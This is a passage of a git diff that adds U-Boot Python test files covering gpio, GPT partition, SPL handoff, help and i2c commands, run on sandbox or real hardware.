+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_unlink7(self, u_boot_console, fs_obj_unlink):
+ """
+ Test Case 7 - trying to deleting a ".." should fail
+ """
+ fs_type,fs_img = fs_obj_unlink
+ with u_boot_console.log.section('Test Case 7 - unlink ("..")'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%srm host 0:0 dir5/..' % fs_type])
+ assert('directory is not empty' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
diff --git a/test/py/tests/test_gpio.py b/test/py/tests/test_gpio.py
new file mode 100644
index 00000000000..3e16e636574
--- /dev/null
+++ b/test/py/tests/test_gpio.py
@@ -0,0 +1,315 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (c) 2021 Adarsh Babu Kalepalli <opensource.kab@gmail.com>
+# Copyright (c) 2020 Alex Kiernan <alex.kiernan@gmail.com>
+
+import pytest
+import time
+import u_boot_utils
+
+"""
+ test_gpio_input is intended to test the fix 4dbc107f4683.
+ 4dbc107f4683:"cmd: gpio: Correct do_gpio() return value"
+"""
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_input(u_boot_console):
+ """Test that gpio input correctly returns the value of a gpio pin."""
+
+ response = u_boot_console.run_command('gpio input 0; echo rc:$?')
+ expected_response = 'rc:0'
+ assert(expected_response in response)
+ response = u_boot_console.run_command('gpio toggle 0; gpio input 0; echo rc:$?')
+ expected_response = 'rc:1'
+ assert(expected_response in response)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_exit_statuses(u_boot_console):
+ """Test that non-input gpio commands correctly return the command
+ success/failure status."""
+
+ expected_response = 'rc:0'
+ response = u_boot_console.run_command('gpio clear 0; echo rc:$?')
+ assert(expected_response in response)
+ response = u_boot_console.run_command('gpio set 0; echo rc:$?')
+ assert(expected_response in response)
+ response = u_boot_console.run_command('gpio toggle 0; echo rc:$?')
+ assert(expected_response in response)
+ response = u_boot_console.run_command('gpio status -a; echo rc:$?')
+ assert(expected_response in response)
+
+ expected_response = 'rc:1'
+ response = u_boot_console.run_command('gpio nonexistent-command; echo rc:$?')
+ assert(expected_response in response)
+ response = u_boot_console.run_command('gpio input 200; echo rc:$?')
+ assert(expected_response in response)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_read(u_boot_console):
+ """Test that gpio read correctly sets the variable to the value of a gpio pin."""
+
+ u_boot_console.run_command('gpio clear 0')
+ response = u_boot_console.run_command('gpio read var 0; echo val:$var,rc:$?')
+ expected_response = 'val:0,rc:0'
+ assert(expected_response in response)
+ response = u_boot_console.run_command('gpio toggle 0; gpio read var 0; echo val:$var,rc:$?')
+ expected_response = 'val:1,rc:0'
+ assert(expected_response in response)
+ response = u_boot_console.run_command('setenv var; gpio read var nonexistent-gpio; echo val:$var,rc:$?')
+ expected_response = 'val:,rc:1'
+ assert(expected_response in response)
+
+"""
+Generic Tests for 'gpio' command on sandbox and real hardware.
+The below sequence of tests rely on env__gpio_dev_config for configuration values of gpio pins.
+
+ Configuration data for gpio command.
+ The set,clear,toggle ,input and status options of 'gpio' command are verified.
+ For sake of verification,A LED/buzzer could be connected to GPIO pins configured as O/P.
+ Logic level '1'/'0' can be applied onto GPIO pins configured as I/P
+
+
+env__gpio_dev_config = {
+ #the number of 'gpio_str_x' strings should equal to
+ #'gpio_str_count' value
+ 'gpio_str_count':4 ,
+ 'gpio_str_1': '0',
+ 'gpio_str_2': '31',
+ 'gpio_str_3': '63',
+ 'gpio_str_4': '127',
+ 'gpio_op_pin': '64',
+ 'gpio_ip_pin_set':'65',
+ 'gpio_ip_pin_clear':'66',
+ 'gpio_clear_value': 'value is 0',
+ 'gpio_set_value': 'value is 1',
+ # GPIO pin list to test gpio functionality for each pins, pin should be
+ # pin names (str)
+ 'gpio_pin_list': ['gpio@1000031', 'gpio@1000032', 'gpio@20000033'],
+ # GPIO input output list for shorted gpio pins to test gpio
+ # functionality for each of pairs, where the first element is
+ # configured as input and second as output
+ 'gpio_ip_op_list': [['gpio0', 'gpio1'], ['gpio2', 'gpio3']],
+}
+"""
+
+
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_status_all_generic(u_boot_console):
+ """Test the 'gpio status' command.
+
+ Displays all gpio pins available on the Board.
+ To verify if the status of pins is displayed or not,
+ the user can configure (gpio_str_count) and verify existence of certain
+ pins.The details of these can be configured in 'gpio_str_n'.
+ of boardenv_* (example above).User can configure any
+ number of such pins and mention that count in 'gpio_str_count'.
+ """
+
+ f = u_boot_console.config.env.get('env__gpio_dev_config',False)
+ if not f:
+ pytest.skip("gpio not configured")
+
+ gpio_str_count = f['gpio_str_count']
+
+ #Display all the GPIO ports
+ cmd = 'gpio status -a'
+ response = u_boot_console.run_command(cmd)
+
+ for str_value in range(1,gpio_str_count + 1):
+ assert f["gpio_str_%d" %(str_value)] in response
+
+
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_set_generic(u_boot_console):
+ """Test the 'gpio set' command.
+
+ A specific gpio pin configured by user as output
+ (mentioned in gpio_op_pin) is verified for
+ 'set' option
+
+ """
+
+ f = u_boot_console.config.env.get('env__gpio_dev_config',False)
+ if not f:
+ pytest.skip("gpio not configured")
+
+ gpio_pin_adr = f['gpio_op_pin'];
+ gpio_set_value = f['gpio_set_value'];
+
+
+ cmd = 'gpio set ' + gpio_pin_adr
+ response = u_boot_console.run_command(cmd)
+ good_response = gpio_set_value
+ assert good_response in response
+
+
+
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_clear_generic(u_boot_console):
+ """Test the 'gpio clear' command.
+
+ A specific gpio pin configured by user as output
+ (mentioned in gpio_op_pin) is verified for
+ 'clear' option
+ """
+
+ f = u_boot_console.config.env.get('env__gpio_dev_config',False)
+ if not f:
+ pytest.skip("gpio not configured")
+
+ gpio_pin_adr = f['gpio_op_pin'];
+ gpio_clear_value = f['gpio_clear_value'];
+
+
+ cmd = 'gpio clear ' + gpio_pin_adr
+ response = u_boot_console.run_command(cmd)
+ good_response = gpio_clear_value
+ assert good_response in response
+
+
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_toggle_generic(u_boot_console):
+ """Test the 'gpio toggle' command.
+
+ A specific gpio pin configured by user as output
+ (mentioned in gpio_op_pin) is verified for
+ 'toggle' option
+ """
+
+
+ f = u_boot_console.config.env.get('env__gpio_dev_config',False)
+ if not f:
+ pytest.skip("gpio not configured")
+
+ gpio_pin_adr = f['gpio_op_pin'];
+ gpio_set_value = f['gpio_set_value'];
+ gpio_clear_value = f['gpio_clear_value'];
+
+ cmd = 'gpio set ' + gpio_pin_adr
+ response = u_boot_console.run_command(cmd)
+ good_response = gpio_set_value
+ assert good_response in response
+
+ cmd = 'gpio toggle ' + gpio_pin_adr
+ response = u_boot_console.run_command(cmd)
+ good_response = gpio_clear_value
+ assert good_response in response
+
+
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_input_generic(u_boot_console):
+ """Test the 'gpio input' command.
+
+ Specific gpio pins configured by user as input
+ (mentioned in gpio_ip_pin_set and gpio_ip_pin_clear)
+ is verified for logic '1' and logic '0' states
+ """
+
+ f = u_boot_console.config.env.get('env__gpio_dev_config',False)
+ if not f:
+ pytest.skip("gpio not configured")
+
+ gpio_pin_adr = f['gpio_ip_pin_clear'];
+ gpio_clear_value = f['gpio_clear_value'];
+
+
+ cmd = 'gpio input ' + gpio_pin_adr
+ response = u_boot_console.run_command(cmd)
+ good_response = gpio_clear_value
+ assert good_response in response
+
+
+ gpio_pin_adr = f['gpio_ip_pin_set'];
+ gpio_set_value = f['gpio_set_value'];
+
+
+ cmd = 'gpio input ' + gpio_pin_adr
+ response = u_boot_console.run_command(cmd)
+ good_response = gpio_set_value
+ assert good_response in response
+
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_pins_generic(u_boot_console):
+ """Test various gpio related functionality, such as the input, set, clear,
+ and toggle for the set of gpio pin list.
+
+ Specific set of gpio pins (by mentioning gpio pin name) configured as
+ input (mentioned as 'gpio_pin_list') to be tested for multiple gpio
+ commands.
+ """
+
+ f = u_boot_console.config.env.get('env__gpio_dev_config', False)
+ if not f:
+ pytest.skip('gpio not configured')
+
+ gpio_pins = f.get('gpio_pin_list', None)
+ if not gpio_pins:
+ pytest.skip('gpio pin list are not configured')
+
+ for gpin in gpio_pins:
+ # gpio input
+ u_boot_console.run_command(f'gpio input {gpin}')
+ expected_response = f'{gpin}: input:'
+ response = u_boot_console.run_command(f'gpio status -a {gpin}')
+ assert expected_response in response
+
+ # gpio set
+ u_boot_console.run_command(f'gpio set {gpin}')
+ expected_response = f'{gpin}: output: 1'
+ response = u_boot_console.run_command(f'gpio status -a {gpin}')
+ assert expected_response in response
+
+ # gpio clear
+ u_boot_console.run_command(f'gpio clear {gpin}')
+ expected_response = f'{gpin}: output: 0'
+ response = u_boot_console.run_command(f'gpio status -a {gpin}')
+ assert expected_response in response
+
+ # gpio toggle
+ u_boot_console.run_command(f'gpio toggle {gpin}')
+ expected_response = f'{gpin}: output: 1'
+ response = u_boot_console.run_command(f'gpio status -a {gpin}')
+ assert expected_response in response
+
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_pins_input_output_generic(u_boot_console):
+ """Test gpio related functionality such as input and output for the list of
+ shorted gpio pins provided as a pair of input and output pins. This test
+ will fail, if the gpio pins are not shorted properly.
+
+ Specific set of shorted gpio pins (by mentioning gpio pin name)
+ configured as input and output (mentioned as 'gpio_ip_op_list') as a
+ pair to be tested for gpio input output case.
+ """
+
+ f = u_boot_console.config.env.get('env__gpio_dev_config', False)
+ if not f:
+ pytest.skip('gpio not configured')
+
+ gpio_pins = f.get('gpio_ip_op_list', None)
+ if not gpio_pins:
+ pytest.skip('gpio pin list for input and output are not configured')
+
+ for gpins in gpio_pins:
+ u_boot_console.run_command(f'gpio input {gpins[0]}')
+ expected_response = f'{gpins[0]}: input:'
+ response = u_boot_console.run_command(f'gpio status -a {gpins[0]}')
+ assert expected_response in response
+
+ u_boot_console.run_command(f'gpio set {gpins[1]}')
+ expected_response = f'{gpins[1]}: output:'
+ response = u_boot_console.run_command(f'gpio status -a {gpins[1]}')
+ assert expected_response in response
+
+ u_boot_console.run_command(f'gpio clear {gpins[1]}')
+ expected_response = f'{gpins[0]}: input: 0'
+ response = u_boot_console.run_command(f'gpio status -a {gpins[0]}')
+ assert expected_response in response
+
+ u_boot_console.run_command(f'gpio set {gpins[1]}')
+ expected_response = f'{gpins[0]}: input: 1'
+ response = u_boot_console.run_command(f'gpio status -a {gpins[0]}')
+ assert expected_response in response
diff --git a/test/py/tests/test_gpt.py b/test/py/tests/test_gpt.py
new file mode 100644
index 00000000000..6e135b663e8
--- /dev/null
+++ b/test/py/tests/test_gpt.py
@@ -0,0 +1,350 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2017 Alison Chaiken
+# Copyright (c) 2017, NVIDIA CORPORATION. All rights reserved.
+
+# Test GPT manipulation commands.
+
+import os
+import pytest
+import u_boot_utils
+
+"""
+These tests rely on a 4 MB disk image, which is automatically created by
+the test.
+"""
+
+# Mark all tests here as slow
+pytestmark = pytest.mark.slow
+
+def parse_gpt_parts(disk_str):
+ """Parser a partition string into a list of partitions.
+
+ Args:
+ disk_str: The disk description string, as returned by `gpt read`
+
+ Returns:
+ A list of parsed partitions. Each partition is a dictionary with the
+ string value from each specified key in the partition description, or a
+ key with with the value True for a boolean flag
+ """
+ parts = []
+ for part_str in disk_str.split(';'):
+ part = {}
+ for option in part_str.split(","):
+ if not option:
+ continue
+
+ if "=" in option:
+ key, value = option.split("=")
+ part[key] = value
+ else:
+ part[option] = True
+
+ if part:
+ parts.append(part)
+
+ return parts
+
+class GptTestDiskImage(object):
+ """Disk Image used by the GPT tests."""
+
+ def __init__(self, u_boot_console):
+ """Initialize a new GptTestDiskImage object.
+
+ Args:
+ u_boot_console: A U-Boot console.
+
+ Returns:
+ Nothing.
+ """
+
+ filename = 'test_gpt_disk_image.bin'
+
+ persistent = u_boot_console.config.persistent_data_dir + '/' + filename
+ self.path = u_boot_console.config.result_dir + '/' + filename
+
+ with u_boot_utils.persistent_file_helper(u_boot_console.log, persistent):
+ if os.path.exists(persistent):
+ u_boot_console.log.action('Disk image file ' + persistent +
+ ' already exists')
+ else:
+ u_boot_console.log.action('Generating ' + persistent)
+ fd = os.open(persistent, os.O_RDWR | os.O_CREAT)
+ os.ftruncate(fd, 4194304)
+ os.close(fd)
+ cmd = ('sgdisk',
+ '--disk-guid=375a56f7-d6c9-4e81-b5f0-09d41ca89efe',
+ persistent)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+ # part1 offset 1MB size 1MB
+ cmd = ('sgdisk', '--new=1:2048:4095', '--change-name=1:part1',
+ '--partition-guid=1:33194895-67f6-4561-8457-6fdeed4f50a3',
+ '-A 1:set:2',
+ persistent)
+ # part2 offset 2MB size 1.5MB
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+ cmd = ('sgdisk', '--new=2:4096:7167', '--change-name=2:part2',
+ '--partition-guid=2:cc9c6e4a-6551-4cb5-87be-3210f96c86fb',
+ persistent)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+ cmd = ('sgdisk', '--load-backup=' + persistent)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+
+ cmd = ('cp', persistent, self.path)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+
+@pytest.fixture(scope='function')
+def state_disk_image(u_boot_console):
+ """pytest fixture to provide a GptTestDiskImage object to tests.
+ This is function-scoped because it uses u_boot_console, which is also
+ function-scoped. A new disk is returned each time to prevent tests from
+ interfering with each other."""
+
+ return GptTestDiskImage(u_boot_console)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_read(state_disk_image, u_boot_console):
+ """Test the gpt read command."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('gpt read host 0')
+ assert 'Start 1MiB, size 1MiB' in output
+ assert 'Block size 512, name part1' in output
+ assert 'Start 2MiB, size 1MiB' in output
+ assert 'Block size 512, name part2' in output
+ output = u_boot_console.run_command('part list host 0')
+ assert '0x00000800 0x00000fff "part1"' in output
+ assert '0x00001000 0x00001bff "part2"' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('partition_type_guid')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_read_var(state_disk_image, u_boot_console):
+ """Test the gpt read command."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('gpt read host 0 gpt_parts')
+ assert 'success!' in output
+
+ output = u_boot_console.run_command('echo ${gpt_parts}')
+ parts = parse_gpt_parts(output.rstrip())
+
+ assert parts == [
+ {
+ "uuid_disk": "375a56f7-d6c9-4e81-b5f0-09d41ca89efe",
+ },
+ {
+ "name": "part1",
+ "start": "0x100000",
+ "size": "0x100000",
+ "type": "0fc63daf-8483-4772-8e79-3d69d8477de4",
+ "uuid": "33194895-67f6-4561-8457-6fdeed4f50a3",
+ "bootable": True,
+ },
+ {
+ "name": "part2",
+ "start": "0x200000",
+ "size": "0x180000",
+ "type": "0fc63daf-8483-4772-8e79-3d69d8477de4",
+ "uuid": "cc9c6e4a-6551-4cb5-87be-3210f96c86fb",
+ },
+ ]
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_verify(state_disk_image, u_boot_console):
+ """Test the gpt verify command."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('gpt verify host 0')
+ assert 'Verify GPT: success!' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_repair(state_disk_image, u_boot_console):
+ """Test the gpt repair command."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('gpt repair host 0')
+ assert 'Repairing GPT: success!' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_guid(state_disk_image, u_boot_console):
+ """Test the gpt guid command."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('gpt guid host 0')
+ assert '375a56f7-d6c9-4e81-b5f0-09d41ca89efe' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_setenv(state_disk_image, u_boot_console):
+ """Test the gpt setenv command."""
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('gpt setenv host 0 part1')
+ assert 'success!' in output
+ output = u_boot_console.run_command('echo ${gpt_partition_addr}')
+ assert output.rstrip() == '800'
+ output = u_boot_console.run_command('echo ${gpt_partition_size}')
+ assert output.rstrip() == '800'
+ output = u_boot_console.run_command('echo ${gpt_partition_name}')
+ assert output.rstrip() == 'part1'
+ output = u_boot_console.run_command('echo ${gpt_partition_entry}')
+ assert output.rstrip() == '1'
+ output = u_boot_console.run_command('echo ${gpt_partition_bootable}')
+ assert output.rstrip() == '1'
+
+ output = u_boot_console.run_command('gpt setenv host 0 part2')
+ assert 'success!' in output
+ output = u_boot_console.run_command('echo ${gpt_partition_addr}')
+ assert output.rstrip() == '1000'
+ output = u_boot_console.run_command('echo ${gpt_partition_size}')
+ assert output.rstrip() == 'c00'
+ output = u_boot_console.run_command('echo ${gpt_partition_name}')
+ assert output.rstrip() == 'part2'
+ output = u_boot_console.run_command('echo ${gpt_partition_entry}')
+ assert output.rstrip() == '2'
+ output = u_boot_console.run_command('echo ${gpt_partition_bootable}')
+ assert output.rstrip() == '0'
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_save_guid(state_disk_image, u_boot_console):
+ """Test the gpt guid command to save GUID into a string."""
+
+ if u_boot_console.config.buildconfig.get('config_cmd_gpt', 'n') != 'y':
+ pytest.skip('gpt command not supported')
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('gpt guid host 0 newguid')
+ output = u_boot_console.run_command('printenv newguid')
+ assert '375a56f7-d6c9-4e81-b5f0-09d41ca89efe' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_part_type_uuid(state_disk_image, u_boot_console):
+ """Test the gpt partittion type UUID command."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('part type host 0:1')
+ assert '0fc63daf-8483-4772-8e79-3d69d8477de4' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_part_type_save_uuid(state_disk_image, u_boot_console):
+ """Test the gpt partittion type to save UUID into a string."""
+
+ if u_boot_console.config.buildconfig.get('config_cmd_gpt', 'n') != 'y':
+ pytest.skip('gpt command not supported')
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('part type host 0:1 newguid')
+ output = u_boot_console.run_command('printenv newguid')
+ assert '0fc63daf-8483-4772-8e79-3d69d8477de4' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('cmd_gpt_rename')
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_rename_partition(state_disk_image, u_boot_console):
+ """Test the gpt rename command to write partition names."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ u_boot_console.run_command('gpt rename host 0 1 first')
+ output = u_boot_console.run_command('gpt read host 0')
+ assert 'name first' in output
+ u_boot_console.run_command('gpt rename host 0 2 second')
+ output = u_boot_console.run_command('gpt read host 0')
+ assert 'name second' in output
+ output = u_boot_console.run_command('part list host 0')
+ assert '0x00000800 0x00000fff "first"' in output
+ assert '0x00001000 0x00001bff "second"' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('cmd_gpt_rename')
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_swap_partitions(state_disk_image, u_boot_console):
+ """Test the gpt swap command to exchange two partition names."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('part list host 0')
+ assert '0x00000800 0x00000fff "part1"' in output
+ assert '0x00001000 0x00001bff "part2"' in output
+ u_boot_console.run_command('gpt swap host 0 part1 part2')
+ output = u_boot_console.run_command('part list host 0')
+ assert '0x00000800 0x00000fff "part2"' in output
+ assert '0x00001000 0x00001bff "part1"' in output
+
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('cmd_gpt_rename')
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_set_bootable(state_disk_image, u_boot_console):
+ """Test the gpt set-bootable command."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ parts = ('part2', 'part1')
+ for bootable in parts:
+ output = u_boot_console.run_command(f'gpt set-bootable host 0 {bootable}')
+ assert 'success!' in output
+
+ for p in parts:
+ output = u_boot_console.run_command(f'gpt setenv host 0 {p}')
+ assert 'success!' in output
+ output = u_boot_console.run_command('echo ${gpt_partition_bootable}')
+ if p == bootable:
+ assert output.rstrip() == '1'
+ else:
+ assert output.rstrip() == '0'
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_write(state_disk_image, u_boot_console):
+ """Test the gpt write command."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('gpt write host 0 "name=all,size=0"')
+ assert 'Writing GPT: success!' in output
+ output = u_boot_console.run_command('part list host 0')
+ assert '0x00000022 0x00001fde "all"' in output
+ output = u_boot_console.run_command('gpt write host 0 "uuid_disk=375a56f7-d6c9-4e81-b5f0-09d41ca89efe;name=first,start=1M,size=1M;name=second,start=0x200000,size=0x180000;"')
+ assert 'Writing GPT: success!' in output
+ output = u_boot_console.run_command('part list host 0')
+ assert '0x00000800 0x00000fff "first"' in output
+ assert '0x00001000 0x00001bff "second"' in output
+ output = u_boot_console.run_command('gpt guid host 0')
+ assert '375a56f7-d6c9-4e81-b5f0-09d41ca89efe' in output
+
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('cmd_gpt_rename')
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_transpose(state_disk_image, u_boot_console):
+ """Test the gpt transpose command."""
+
+ u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+ output = u_boot_console.run_command('part list host 0')
+ assert '1\t0x00000800\t0x00000fff\t"part1"' in output
+ assert '2\t0x00001000\t0x00001bff\t"part2"' in output
+
+ output = u_boot_console.run_command('gpt transpose host 0 1 2')
+ assert 'success!' in output
+
+ output = u_boot_console.run_command('part list host 0')
+ assert '2\t0x00000800\t0x00000fff\t"part1"' in output
+ assert '1\t0x00001000\t0x00001bff\t"part2"' in output
diff --git a/test/py/tests/test_handoff.py b/test/py/tests/test_handoff.py
new file mode 100644
index 00000000000..038f03064a6
--- /dev/null
+++ b/test/py/tests/test_handoff.py
@@ -0,0 +1,15 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2016 Google, Inc
+
+import pytest
+
+# Magic number to check that SPL handoff is working
+TEST_HANDOFF_MAGIC = 0x14f93c7b
+
+@pytest.mark.boardspec('sandbox_spl')
+@pytest.mark.buildconfigspec('spl')
+def test_handoff(u_boot_console):
+ """Test that of-platdata can be generated and used in sandbox"""
+ cons = u_boot_console
+ response = cons.run_command('sb handoff')
+ assert ('SPL handoff magic %x' % TEST_HANDOFF_MAGIC) in response
diff --git a/test/py/tests/test_help.py b/test/py/tests/test_help.py
new file mode 100644
index 00000000000..153133cf28f
--- /dev/null
+++ b/test/py/tests/test_help.py
@@ -0,0 +1,34 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+import pytest
+
+def test_help(u_boot_console):
+ """Test that the "help" command can be executed."""
+
+ u_boot_console.run_command('help')
+
+@pytest.mark.boardspec('sandbox')
+def test_help_no_devicetree(u_boot_console):
+ try:
+ cons = u_boot_console
+ cons.restart_uboot_with_flags([], use_dtb=False)
+ cons.run_command('help')
+ output = cons.get_spawn_output().replace('\r', '')
+ assert 'print command description/usage' in output
+ finally:
+ # Restart afterward to get the normal device tree back
+ u_boot_console.restart_uboot()
+
+@pytest.mark.boardspec('sandbox_vpl')
+def test_vpl_help(u_boot_console):
+ try:
+ cons = u_boot_console
+ cons.restart_uboot()
+ cons.run_command('help')
+ output = cons.get_spawn_output().replace('\r', '')
+ assert 'print command description/usage' in output
+ finally:
+ # Restart afterward to get the normal device tree back
+ u_boot_console.restart_uboot()
diff --git a/test/py/tests/test_i2c.py b/test/py/tests/test_i2c.py
new file mode 100644
index 00000000000..825d0c2e6eb
--- /dev/null
+++ b/test/py/tests/test_i2c.py
@@ -0,0 +1,116 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+import random
+import re
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+the i2c device info including the bus list and eeprom address/value. This test
+will be automatically skipped without this.
+
+For example:
+
+# Setup env__i2c_device_test to set the i2c bus list and probe_all boolean
+# parameter. For i2c_probe_all_buses case, if probe_all parameter is set to
+# False then it probes all the buses listed in bus_list instead of probing all
+# the buses available.
+env__i2c_device_test = {
+ 'bus_list': [0, 2, 5, 12, 16, 18],
+ 'probe_all': False,
+}
+
+# Setup env__i2c_eeprom_device_test to set the i2c bus number, eeprom address
+# and configured value for i2c_eeprom test case. Test will be skipped if
+# env__i2c_eeprom_device_test is not set
+env__i2c_eeprom_device_test = {
+ 'bus': 3,
+ 'eeprom_addr': 0x54,
+ 'eeprom_val': '30 31',
+}
+"""
+
+def get_i2c_test_env(u_boot_console):
+ f = u_boot_console.config.env.get("env__i2c_device_test", None)
+ if not f:
+ pytest.skip("No I2C device to test!")
+ else:
+ bus_list = f.get("bus_list", None)
+ if not bus_list:
+ pytest.skip("I2C bus list is not provided!")
+ probe_all = f.get("probe_all", False)
+ return bus_list, probe_all
+
+@pytest.mark.buildconfigspec("cmd_i2c")
+def test_i2c_bus(u_boot_console):
+ bus_list, probe = get_i2c_test_env(u_boot_console)
+ bus = random.choice(bus_list)
+ expected_response = f"Bus {bus}:"
+ response = u_boot_console.run_command("i2c bus")
+ assert expected_response in response
+
+@pytest.mark.buildconfigspec("cmd_i2c")
+def test_i2c_dev(u_boot_console):
+ bus_list, probe = get_i2c_test_env(u_boot_console)
+ expected_response = "Current bus is"
+ response = u_boot_console.run_command("i2c dev")
+ assert expected_response in response
+
+@pytest.mark.buildconfigspec("cmd_i2c")
+def test_i2c_probe(u_boot_console):
+ bus_list, probe = get_i2c_test_env(u_boot_console)
+ bus = random.choice(bus_list)
+ expected_response = f"Setting bus to {bus}"
+ response = u_boot_console.run_command(f"i2c dev {bus}")
+ assert expected_response in response
+ expected_response = "Valid chip addresses:"
+ response = u_boot_console.run_command("i2c probe")
+ assert expected_response in response
+
+@pytest.mark.buildconfigspec("cmd_i2c")
+def test_i2c_eeprom(u_boot_console):
+ f = u_boot_console.config.env.get("env__i2c_eeprom_device_test", None)
+ if not f:
+ pytest.skip("No I2C eeprom to test!")
+
+ bus = f.get("bus", 0)
+ if bus < 0:
+ pytest.fail("No bus specified via env__i2c_eeprom_device_test!")
+
+ addr = f.get("eeprom_addr", -1)
+ if addr < 0:
+ pytest.fail("No eeprom address specified via env__i2c_eeprom_device_test!")
+
+ value = f.get("eeprom_val")
+ if not value:
+ pytest.fail(
+ "No eeprom configured value provided via env__i2c_eeprom_device_test!"
+ )
+
+ # Enable i2c mux bridge
+ u_boot_console.run_command("i2c dev %x" % bus)
+ u_boot_console.run_command("i2c probe")
+ output = u_boot_console.run_command("i2c md %x 0 5" % addr)
+ assert value in output
+
+@pytest.mark.buildconfigspec("cmd_i2c")
+def test_i2c_probe_all_buses(u_boot_console):
+ bus_list, probe = get_i2c_test_env(u_boot_console)
+ bus = random.choice(bus_list)
+ expected_response = f"Bus {bus}:"
+ response = u_boot_console.run_command("i2c bus")
+ assert expected_response in response
+
+ # Get all the bus list
+ if probe:
+ buses = re.findall("Bus (.+?):", response)
+ bus_list = [int(x) for x in buses]
+
+ for dev in bus_list:
+ expected_response = f"Setting bus to {dev}"
+ response = u_boot_console.run_command(f"i2c dev {dev}")
+ assert expected_response in response
+ expected_response = "Valid chip addresses:"
+ response = u_boot_console.run_command("i2c probe")
+ assert expected_response in response
